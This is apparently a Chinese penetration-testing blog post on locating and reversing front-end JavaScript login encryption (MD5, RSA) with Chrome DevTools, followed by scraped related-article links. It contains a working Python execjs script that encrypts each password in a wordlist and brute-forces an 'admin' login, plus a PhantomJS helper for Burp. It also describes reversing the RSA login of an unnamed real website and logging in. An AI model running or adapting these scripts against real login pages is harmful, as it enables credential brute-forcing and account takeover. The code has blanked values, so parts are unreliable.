37.前台js登陆加密分析
开篇
由于现在的登陆接口如果明文传输的话,容易被暴力破解,越来越多的网站选择了前台js加密的方式,像这样:
或者这样:
枯了,对渗透造成一定的影响
本篇文章将系统的讲述使用Python对前台js加密爆破的方法。
加密方式
对称加密
什么是对称加密
对称加密就是指,加密和解密使用同一个密钥的加密方式。
对称加密的过程
发送方使用密钥将明文数据加密成密文,然后发送出去,接收方收到密文后,使用同一个密钥将密文解密成明文读取。
常见对称加密算法
AES,DES,3DES,RC4,RC5...
对称加密算法的不足
由于对称加密的加密和解密使用的是同一个密钥,所以对称加密的安全性就不仅仅取决于加密算法本身的强度,更取决于密钥是否被安全的保管,因此加密者如何把密钥安全的传递到解密者手里,就成了对称加密面临的关键问题。
非对称加密
什么是非对称加密
非对称加密算法需要两个密钥:公开密钥(public key)和 私有密钥(private key)。
公开密钥与私有密钥是一对,如果用公开密钥对数据进行加密,只有用对应的私有密钥才能解密;如果用私有密钥对数据进行加密,那么只有用对应的公开密钥才能解密。因为加密和解密使用的是两个不同的密钥,所以这种算法叫作非对称加密算法。
非对称加密的过程
- A要向B发送信息,A和B都要产生一对用于加密和解密的公钥和私钥。
- A的私钥保密,A的公钥告诉B;B的私钥保密,B的公钥告诉A。
- A要给B发送信息时,A用B的公钥加密信息,因为A知道B的公钥。
- A将这个消息发给B(已经用B的公钥加密消息)。
- B收到这个消息后,B用自己的私钥解密A的消息,其他所有收到这个报文的人都无法解密,因为只有B才有B的私钥。
- 反过来,B向A发送消息也是一样。
常见的非对称加密算法
RSA,ECC,DSA...
单向散列函数
单向散列函数的特点
- 不管明文多长,散列后的密文定长
- 明文不一样,散列后结果一定不一样
- 散列后的密文不可逆
- 一般用于校验数据完整性、签名 sign
- 由于密文不可逆,所以后台无法还原,也就是说他要验证,会在后台以跟前台一样的方式去重新签名一遍。也就是说他会把源数据和签名后的值一起提交到后台。所以我们要保证在签名时候的数据和提交上去的源数据一致,这种算法特喜欢在内部加入时间戳
单向散列函数常见算法
MD5,SHA1,SHA256,SHA512,HmacMD5...
其他加密
BASE64
- 所有的数据都能被编码为只用65个字符就能表示的文本。
标准的Base64每行为76个字符,每行末尾添加一个回车换行符(\r\n)。不论每行是否满76个字符,都要添加一个回车换行符。 - 65字符:A~Z a~z 0~9 + / =
URL Base64算法中,为了安全,会把 + 替换成 - ,把 / 替换成 _
= 有时候用 ~ 或 . 代替 - Base64的应用
密钥,密文,图片,数据简单加密或者预处理 - Base64编码解码与btoa、atob
HEX
- 二进制数据最常用的一种表示方式。
- 用0-9 a-f 16个字符表示。每个十六进制字符代表4bit。也就是2个十六进制字符代表一个字节。
- 在实际应用中,尤其在密钥初始化的时候,一定要分清楚自己传进去的密钥是哪种方式编码的,采用对应方式解析,才能得到正确的结果
如何使用chrome浏览器调试js
断点调试
代码断点
1.打开调试工具DevTools(F12)。
2.点击 Sources 选项卡,来查看当前加载的js代码
3.找到需要代码断下的地方,在左侧行号处点击,会出现一个蓝色的图标
4.重新对页面发起请求,当代码执行到这一行就会暂停。
条件断点
除了普通的断点外,还可以使用条件断点,不过只有在条件为真时才会暂停。
1.到需要代码断下的地方,右键点击选择 add conditional breakpoint
2.在弹出的输入框中,输入条件语句,确定后,行号处会变成橙色
管理代码断点
断点多了,有时候自己也乱。这个时候可以在右侧的 Breakpoints窗格管理断点,这里显示每个断点对应的行号和代码。
1.点击断点前的复选框可以禁用该断点。
2.右键单击某个条目,可以呼出菜单以删除该断点,取消激活所有断点,禁用所有断点或删除所有断点,删除除此断点外的其他断点。其中取消激活所有断点会指示DevTools忽略所有代码行断点,但也要保持其启用状态,以便它们在重新激活它们时处于与之前相同的状态。
3.单击断点其他位置,可以联动到该代码在编辑器的位置,并且背景会标黄。
DOM断点
有时候可能需要在DOM节点发生改变的时,对代码暂停。这是就可以设置DOM更改断点。
1.切换到 Elements 选项卡
2.右键点击需要设置断点的元素。
3.将鼠标移到 Break on 上,然后选择 “子树修改”,“属性修改” 或 “节点删除”。
三种断点类型解释:
- 子树修改。当删除或添加当前所选节点的子节点或更改子节点的内容时触发。未在子节点属性更改或当前所选节点的任何更改上触发。
- 属性修改:在当前选定的节点上添加或删除属性时或属性值更改时触发。
- 节点删除:删除当前选定的节点时触发。
XHR/Fetch断点
这里先介绍一下什么是XHR请求:
XHR(XMLHttpRequest)是AJAX的基础,用于在后台与服务器交换数据。这意味着可以在不重新加载整个网页的情况下,对网页的某部分进行更新。
如需将请求发送到服务器,我们使用 XMLHttpRequest 对象的 open() 和 send() 方法
如果要在XHR请求的时候,对包含指定字符串的URL进行中断,可以使用此断点。DevTools暂停XHR调用的代码行 send()。 (Fetch也适用)
1.切换到 Sources 选项卡,展开 XHR/Fetch Breakpoints 窗格。
2.点击右侧的加号,添加断点的条件
3.在弹出的输入框输入URL包含的字符串,回车,包含这段字符串的URL,在发出请求的时候,DevTools就会暂停。注意,如果输入为空,将对任何请求进行暂停
事件监听断点
如果要暂停事件触发后运行的事件监听器代码,可以使用事件监听器断点。
1.切换到 Sources 选项卡,展开 Event Listener Breakpoints 窗格
2.在事件列表里选择需要监听的事件类型。比如常用的 Mouse 下的 click 事件。
异常断点
如果要在抛出捕获或未捕获的异常的代码上暂停,那么可以使用异常断点。
1.切换到 Sources 选项卡,点击 暂停异常 按钮,启用后会变成蓝色
2.如果除了未捕获的异常之外还要暂停捕获的异常,请选中 暂停捕获异常 复选框。
步进执行代码
代码暂停后,我们需要手动控制代码的执行,以方便排查问题。如下图从左往右依次是
恢复执行,跳过下一个函数,跳入下一个函数,跳出下一个函数,逐步执行下一行。
恢复执行
1.有时候会觉得逐步执行代码很乏味,这时可以在您觉得可能出问题的代码处打断点,然后点击恢复执行按钮。这样代码就会跳到下一个断点处。
2.除了这个方法,还可以右键单击觉得出问题的代码处,点击Continue to Here (继续到此处)。DevTools就会运行到改行,然后暂停。
3.点开恢复执行按钮右下角的小三角,可以点击强制恢复执行,这样就能无视后面的断点,强行执行脚本。
跳过,跳入,跳出,逐步执行
1.如果觉得代码中调用的某个函数是可信任的,这个时候就可以在代码执行到这行时,点击跳过按钮。
2.如果代码执行到某行调用了某个函数,可以点击跳入这个函数,继续执行。
3.如果不想继续查看调用函数的内部代码,可以点击跳出按钮,回到调用该函数的主流程中。
4.如果不知道哪里出了问题,希望一行行的查找问题,这个时候可以点击逐行执行按钮,这样代码就会按照执行逻辑一行一行的执行。
编辑脚本
有时候修复错误的时候,需要对JS代码进行一些修改。其实有些简单的修改无需在IDE中修改了代码然后再重新加载页面,查看效果。您可以在DevTools中直接编辑脚本。
1.在 Sources 选项卡中的打开需要修改的文件。
2.修改代码,按Ctrl+ S进行保存。这样就将整个JS文件修补到Chrome的JS引擎中了。(注意修改完后不要刷新页面)。
压缩脚本格式化
有时候一些生产环境的文件都是经过压缩的,这样不利于断点调试代码。这个时候可以点击格式化按钮将代码格式化后再进行调试。
查看当前执行上下文
在某行代码上暂停时,使用 Scope 窗格可以查看当前执行上下文。
1.双击属性值,可以进行更改。
2.不可枚举的属性显示为灰色。
查看当前调用堆栈
在某行代码上暂停时,使用 Call stack 窗格可以查看此时的调用堆栈。
1.单击某一个条目可以跳转到调用该函数的代码行。蓝色箭头表示DevTools当前正在突出显示的函数。
2.右键点击某个条目,可以选择复制堆栈跟踪。将当前调用堆栈复制到剪切板。
代码片段
如果发现自己在控制台中反复运行相同的调试代码,就可以考虑使用 Snippets(代码片段)。
1.打开 Sources 选项卡,切换到 Snippets 标签
2.点击 New Snippet 可以新建一个代码片段,编辑代码,按Ctrl+S保存更改,按Ctrl+Enter执行代码。
3.代码执行成功后并且再次对文件进行编辑后,可以通过右键菜单选择 Local Modifications 查看更改记录。还可以通过下方的 revert 按钮撤销本次修改。
4.github上有很多开源的 snippets ,可以保存起来,方便日后调试。
这一片段来源于 https://blog.csdn.net/userkang/article/details/85252644
如何去定位前台加密js代码
如何去定位前台加密的js代码才是本文的关键,毕竟只有找到js加密的代码,才能构造Python脚本去爆破
F12一键定位
F12查找处理登陆函数
F12检查元素,小箭头点击到"登陆","确定"时会触发提交表单的标签中的一个onClik属性,该属性的值正好是一个处理登陆的js函数userLogin(),像这样:
定位到这个函数后,可以去Sources文件中search一下这个处理登陆的函数
match到了三个,在最后function处找到了处理的代码
这个时候需要下断点来确定是否调用了这个函数
F12事件监听
通过F12还可以通过事件的监听来定位加密的方法,还是F12检查元素,小箭头点击到"登陆","确定" 时会触发一个click点击事件,像这样:
查找与验证加密方法与上步一样,这里不再赘述
全局搜索定位
全局搜索顾名思义就是通过查找加密的方法,或者特殊的字段来定位加密的函数,像这样
使用加密函数名搜索
md5,aes,des,rsa,encrypt,tripedes,publickey,setpubkey,setpublickey...
使用特定字段搜索
F12查看元素,着重关注id = " ",name = " ",type = " ",value = " "... 这种里面的内容
一般可以搜索 password,password: ,password = ,pwd ....
先通过Network抓取登陆请求
发现密码用 pwd:来承载,全局搜索 pwd:
成功定位到加密的地方
XHR断点定位
如果搜索加密参数,没有什么有用,或者代码过于复杂,搜索特定参数,发现根本没有,像这样:
可以尝试使用XHR断点进行定位,不过前提是网站使用XHR请求到服务器
切换到,控制台Source 选项卡
在XHR Breakpoints中填入 "officer/v1/user/login"
重新发送请求:
可以看到function y(t)匹配到了断点内容
发现我们需要提交的数据就在这个n.args中
在左边堆栈中查看n的事件,发现一个n.login
打开发现果然我们提交的数据通过这个函数进行加密
简单例子实践
这里推荐c0ny1大佬的环境与插件:https://github.com/c0ny1/jsEncrypter
哦呦,还不错!
这配置文件里面有各种形式的js加密,那就来正常登录分析一波!
F12查看元素,事件监听
进去查看
m控制的是前台选择的加密方式,这里m=1,选择的是hex_md5()
全局search这个方法:
跳到这个md5.js代码
如何进行爆破
使用大佬的 jsEncrypter 插件
1.安装了phantomJS
2.首先我们能够分析出加密的算法,并能够将算法的js文件引入模板脚本,并在模板脚本的js_encrypt函数体中完成对加密函数的调用
jsEncrypter_md5.js
var webserver = require('webserver');
server = webserver.create(); var host = '127.0.0.1';
var port = ''; // 加载实现加密算法的js脚本
var wasSuccessful = phantom.injectJs('md5.js');/*引入实现加密的js文件*/ // 处理函数
function js_encrypt(payload){
/**********在这里编写调用加密函数进行加密的代码************/
var newpayload;
newpayload = hex_md5(payload);
/**********************************************************/
return newpayload;
} if(wasSuccessful){
console.log("[*] load js successful");
console.log("[!] ^_^");
console.log("[*] jsEncrypterJS start!");
console.log("[+] address: http://"+host+":"+port);
}else{
console.log('[*] load js fail!');
} var service = server.listen(host+':'+port,function(request, response){
try{
if(request.method == 'POST'){
var payload = request.post['payload'];
var encrypt_payload = js_encrypt(payload);
console.log('[+] ' + payload + ':' + encrypt_payload);
response.statusCode = ;
response.write(encrypt_payload.toString());
response.close();
}else{
response.statusCode = ;
response.write("^_^\n\rhello jsEncrypt!");
response.close();
}
}catch(e){
console.log('\n-----------------Error Info--------------------')
var fullMessage = "Message: "+e.toString() + ':'+ e.line;
for (var p in e) {
fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
}
console.log(fullMessage);
console.log('---------------------------------------------')
console.log('[*] phantomJS exit!')
phantom.exit();
}
});
3.运行jsEncrypter_md5.js
开启burp插件jsEncrypter插件,并连接
点击Test测试phantomJS脚本能够正常加密payload
抓包尝试爆破
前期步骤都一样,到最后添加规则的时候
开始爆破
果然nice!
使用python的 execjs 模块
同样需要我们能够分析出加密的算法,使用Python的execjs模块调用加密js,其实原理与上面大佬的思路一样:
这里直接给出代码
import execjs
import sys
import requests
def get_js(): #执行本地js
f = open("md5.js",'r',encoding='utf-8')
line = f.readline()
htmlstr = ''
while line:
htmlstr = htmlstr+line
line = f.readline()
return htmlstr def get_data(data):
jsstr = get_js()
#调用compile()编译并加载js文件内容
ctx = execjs.compile(jsstr)
#调用call()调用js中的方法与参数
return (ctx.call('hex_md5',data)) def get_file():
f = open('pass.txt','r',encoding = 'utf-8')
for each in f:
data1 = get_data(each.strip())
re = to_request(data1)
if "successful" in re:
print("password : "+each+re) def to_request(data1):
url = "http://192.168.31.76/webapp/login_check.php"
data = {
"m":"",
"username":"admin",
"password":data1,
}
re = requests.post(url,data=data)
return re.text if __name__ == '__main__':
get_file()
尝试运行:
菜鸡代码,大佬勿喷!
真实环境测试
接下来实际分析一下某天下网站的加密。
尝试使用错误的密码登陆,同时F12来监控网络请求:
看到密码处那一大段复杂的加密,首先尝试来搜索关键字,比如这里是 pwd:
这里下断点来调试一下:
到 encryptedString() 这个函数处断了下来,that.password.val()提取出来的是我们输入的明文密码,这个key_to_encode猜想应该是加密用的key值,
搜索一波:
看到RSA字样感觉就稳了,RSA加密的话需要一个密钥,后面的也能对的上。继续跟进RSAKeyPair()函数,看到底是哪个js需要用到这个函数
分析可得,这个RSA.min.js就是加密的代码
尝试把加密js保存在本地,并使用python的execjs模块去调用我们构造的参数
在RSA.min.js结尾补充了这样几行代码
引入RSA加密的公钥,以及我们调用的接口函数,当然,如果可以运行js的话,直接在末尾console.log()会更清晰明白
我这里给出菜鸡python调用代码:
import execjs def get_js(): #执行本地js
f = open("rsa.js",'r',encoding='utf-8')
line = f.readline()
htmlstr = ''
while line:
htmlstr = htmlstr+line
line = f.readline()
return htmlstr def get_data(data):
jsstr = get_js()
#调用compile()编译并加载js文件内容
ctx = execjs.compile(jsstr)
#调用call()调用js中的方法与参数
print(ctx.call('crack',data)) if __name__ == '__main__':
password = "joker123"
get_data(password)
运行结果:
使用burp抓取数据包,把上面结果粘贴进去,登陆成功!
结尾
由于自己也是第一次这样分析逆向js代码,如果哪里有错,大佬们可以私信我
参考连接:
http://travistidwell.com/jsencrypt/
http://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/
37.前台js登陆加密分析的更多相关文章
- RSA前台js加密,后台C#解密
一.需求: 为了安全,项目中前台登陆用的密码需要加密传到后台,后台c#解密登陆密码. 二.解决方案 采用非对称加密算法RSA来达到目的,前台登陆页面一加载便发送一次ajax请求获取后台产生的公钥,用于 ...
- AES加密解密——AES在JavaWeb项目中前台JS加密,后台Java解密的使用
一:前言 在软件开发中,经常要对数据进行传输,数据在传输的过程中可能被拦截,被监听,所以在传输数据的时候使用数据的原始内容进行传输的话,安全隐患是非常大的.因此就要对需要传输的数据进行在客户端进行加密 ...
- js MD5加密处理
关于MD5: MD5.js是通过前台js加密的方式对用户信息,密码等私密信息进行加密处理的工具,也可称为插件. 在本案例中 可以看到MD5共有6种加密方法: 1, hex_md5(value) 2, ...
- RSA 登陆加密与解密
最近公司项目验收后,客户请来的信息安全技术人员对我们的网站进行了各种安全测试与排查问题,其中就有一个登陆时的加密问题.本来如果只是单纯的加密,可以直接在前台用MD5加密,将加密的值添加到数据库即可.但 ...
- js base64加密,后台解密
这是为了解决页面发送post请求,传输密码,在页面的控制台可以看到密码的明文,所以先用base64把要传输的密码转换为非明文,然后在后台解密处理. base64encode.js // base64加 ...
- 1秒破解 js packer 加密
原文:1秒破解 js packer 加密 其实有点标题党了,不过大概就是这个意思. 进入正题, eval(function(p,a,c,k,e,d){e=function(c){return(c< ...
- js混淆加密,通过混淆Js代码让别人(很难)无法还原
js混淆加密,通过混淆Js代码让别人(很难)无法还原 使用js的混淆加密,其目的是为了保护我们的前端代码逻辑,对应一些搞技术吃饭的公司来说,为了防止被竞争对手抓取或使用自己的代码,就会考虑如何加密 ...
- 前台JS(type=‘file’)读取本地文件的内容,兼容各种浏览器
[自己测了下,能兼容各种浏览器,但是读取中文会出现乱码.自己的解决方法是用notepad++把txt文件编码改为utf-8(应该是和浏览器编码保持一致吧?..)] 原文 http://blog.cs ...
- 前台js与后台方法互调
一:后台调用前台js的方法 ClientScript.RegisterStartupScript(ClientScript.GetType(), "myscript", " ...
随机推荐
- Linux下Maven安装(十二)
一.前提条件 下载并安装好JDK .在终端输入命令“java -version”,如果出现类似如下信息说明JDK安装成功. 二.开始配置Maven 1. 下载maven:http://mirror.b ...
- Artificial Intelligence in Finance
https://sigmoidal.io/real-applications-of-ai-in-finance/ Artificial Intelligence is taking the finan ...
- Cookie 技术
Cookie 学习: 问题: HTTP 协议是没有记忆功能的,一次请求结束后,相关数据会被销毁.如果第二次的请求需要使用相同的请求数据怎么办呢?难道是让用户再次请求书写吗? 解决:使用 Cookie ...
- 在springboot中使用redis缓存,将缓存序列化为json格式的数据
背景 在springboot中使用redis缓存结合spring缓存注解,当缓存成功后使用gui界面查看redis中的数据 原因 springboot缓存默认的序列化是jdk提供的 Serializa ...
- nwjs-简介
nwjs是基于nodejs的,它支持nodejs所有的api,主要用于跨平台轻量级桌面应用开发,运行环境包括32位和64位的Window.Linux和Mac OS nwjs是在英特尔开源技术中心创建的 ...
- zeebe prometheus 监控配置
zeebe 默认已经集成了prometheus,以下是一个简单的配置,关于grafana 的集成需要调整下 dashboard,目前网上的已经太老了 docker-compose 文件 versi ...
- sqler 2.2 发布了,支持定时任务以及触发器
sqler 在10前发布了,2.2 添加了定时任务以及触发器(webhook),都是比较方便的功能, 同时我也修改了dockerfile, 做了构建,添加了功能支持,同时push 到了dockerhu ...
- RHEL7 安装Docker-CE
rhel7官方有源可以直接使用,前提是需要订阅, 参考地址 通过添加CentOS7 源,进行安装: 通过添加CentOS7 源,进行安装 参考博客 安装container-selinux依赖(Requ ...
- CF1175D Array Splitting
题目链接 题意 给出一个长度为\(n\)的序列\(a\),要求分为恰好\(K\)段.第\(i\)个点的贡献是\(a_i \times f(i)\),\(f(x)\)表示x所属的是第几段. 思路 非常巧 ...
- [转]细说OpenSessionInView问题
转载:https://www.cnblogs.com/zjrodger/p/4615809.html. [环境参数] 环境:SSH框架 [问题描述] NoSession问题 HibernateTem ...